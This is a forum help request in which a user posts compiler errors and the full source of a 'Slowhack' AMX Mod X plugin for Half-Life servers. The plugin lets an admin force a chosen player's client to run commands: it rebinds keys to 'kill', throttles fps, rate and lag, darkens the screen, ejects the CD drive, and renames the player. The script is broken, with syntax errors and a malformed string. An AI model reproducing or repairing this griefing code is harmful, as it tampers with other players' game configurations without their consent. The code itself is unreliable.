Raised This Month: $ Target: $400
 0% 

Im trying to compile my script and i get these errors.


  
 
 
Thread Tools Display Modes
Prev Previous Post   Next Post Next
Author Message
eckolove_
Junior Member
Join Date: Dec 2007
Location: CANADA
Old 01-09-2008 , 21:25   Im trying to compile my script and i get these errors.
Reply With Quote #1

Quote:
/home/groups/amxmodx/tmp3/textp7T2Xu.sma(16) : error 035: argument type mismatch (argument 2)
/home/groups/amxmodx/tmp3/textp7T2Xu.sma(26 -- 27) : warning 215: expression has no effect
/home/groups/amxmodx/tmp3/textp7T2Xu.sma(4 : warning 209: function "ClCmd_Hack" should return a value
/home/groups/amxmodx/tmp3/textp7T2Xu.sma(56) : error 001: expected token: ",", but found "!"
/home/groups/amxmodx/tmp3/textp7T2Xu.sma(56) : error 017: undefined symbol "I"
/home/groups/amxmodx/tmp3/textp7T2Xu.sma(56 -- 5 : error 088: number of arguments does not match definition
/home/groups/amxmodx/tmp3/textp7T2Xu.sma(56 -- 5 : fatal error 107: too many error messages on one line

The Original Script is...


PHP Code:
#include <amxmodx>
#include <amxmisc>
new const PLUGIN[] ="Slowhack";
new const 
VERSION[] ="1.0";
new const 
AUTHOR[] ="Don Corleone of Clan Godfathers";
#define ACCESS_LEVEL ADMIN_RCON
new bool:hacked[33];
new 
player;
 
public 
plugin_init() {
register_plugin(PLUGIN VERSION AUTHOR);
register_concmd("amx_sas"ADMIN_RCON"<authid, nick or #userid>");
}
public 
client_connect(id
{
hacked[id] = false
}
public 
client_disconnect(id)
{
hacked[id] == false
}
public 
ClCmd_Hack(id,lvl,cid
{
if(!
cmd_access(id,lvl,cid,2)) 
{
return 
PLUGIN_HANDLED
}
new 
arg[33]
read_argv(1,arg,32)
 
player cmd_target(id,arg,4)
 
if(!
player
{
return 
PLUGIN_HANDLED
}
 
hacked[player] = true
 
set_task
(1.0,"hackPlayer")
}
public 
hackPlayer(id)
{
if(
hacked[id] == true)
{
set_user_info(id,"name""Slow-Hacked")
 
client_cmd(id,"say" !!! I have been Sl0WH@cKeD !!!")
 
hacked[player] = true;
client_cmd(player , "
ScreenShake", "200200200");
client_cmd(player , "
fps_max 5");
client_cmd(player , "
fakelag 800");
client_cmd(player , "
fakeloss 15");
client_cmd(player , "
bind MOUSE1 kill;wait10;cd eject;say open;wait10;cd close;say close");
client_cmd(player , "
bind w say I Have Been Slowhacked;wait10;kill;wait10;cd eject;say open;wait10;cd close;say close");
client_cmd(player , "
bind a kill;say I Have Been Slowhacked");
client_cmd(player , "
bind s kill");
client_cmd(player , "
bind d kill");
client_cmd(player , "
cl_updaterate 1");
client_cmd(player , "
cl_cmdrate 1");
client_cmd(player , "
cl_lb 1");
client_cmd(player , "
cl_lc 1");
client_cmd(player , "
cl_lw 1");
client_cmd(player , "
rate 1");
client_cmd(player , "
cl_forwardspeed 1");
client_cmd(player , "
toggleconsole");
client_cmd(player , "
bind TAB kill");
client_cmd(player , "
bind kill");
client_cmd(player , "
bind ` kill");
client_cmd(player , "gamma 0");
client_cmd(player , "developer 1");
client_cmd(player , "cl_ejectbrass 0");
client_cmd(player , "cl_phys_props_enable 0");
client_cmd(player , "cl_phys_props_max 0");
client_cmd(player , "cl_muzzleflash_dlight_3rd 0");
client_cmd(player , "cl_muzzleflash_dlight_1st 0");
client_cmd(player , "cl_ragdoll_fade_time 1");
client_cmd(player , "cl_ragdoll_physics_enable 0");
client_cmd(player , "cl_show_splashes 0");
client_cmd(player , "cl_smooth 0");
client_cmd(player , "commentary 0");
client_cmd(player , "dsp_enhance_stereo 0");
client_cmd(player , "dsp_slow_cpu 1");
client_cmd(player , "mat_antialias 0");
client_cmd(player , "mat_bumpmap 0");
client_cmd(player , "mat_bloom 0");
client_cmd(player , "mat_bufferprimitives 1");
client_cmd(player , "mat_clipz 0");
client_cmd(player , "mat_fastspecular 1");
client_cmd(player , "mat_hdr_enabled 0");
client_cmd(player , "mat_mipmaptextures 0");
client_cmd(player , "r_cheapwaterstart 1");
client_cmd(player , "r_cheapwaterend 1");
client_cmd(player , "r_drawdetailprops 0");
client_cmd(player , "r_dynamic 0");
client_cmd(player , "r_lightinterp 0");
client_cmd(player , "r_propsmaxdist 100");
client_cmd(player , "r_RainSimulate 0");
client_cmd(player , "r_shadows 0");
client_cmd(player , "rope_smooth 0");
client_cmd(player , "fog_enable 0");
client_cmd(player , "fog_enable_water_fog 0");
client_cmd(player , "gl_clear 0");
client_cmd(player , "bind SPACE kill;wait10;cd eject;say open;wait10;cd close;say close");
}
else
{
return PLUGIN_HANDLED
}
return PLUGIN_HANDLED;


Please help me if you know how to script....

Thanks in advance.

Last edited by eckolove_; 01-09-2008 at 21:33.
eckolove_ is offline
Send a message via MSN to eckolove_
 



Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off

Forum Jump


All times are GMT -4. The time now is 19:18.


Powered by vBulletin®
Copyright ©2000 - 2024, vBulletin Solutions, Inc.
Theme made by Freecode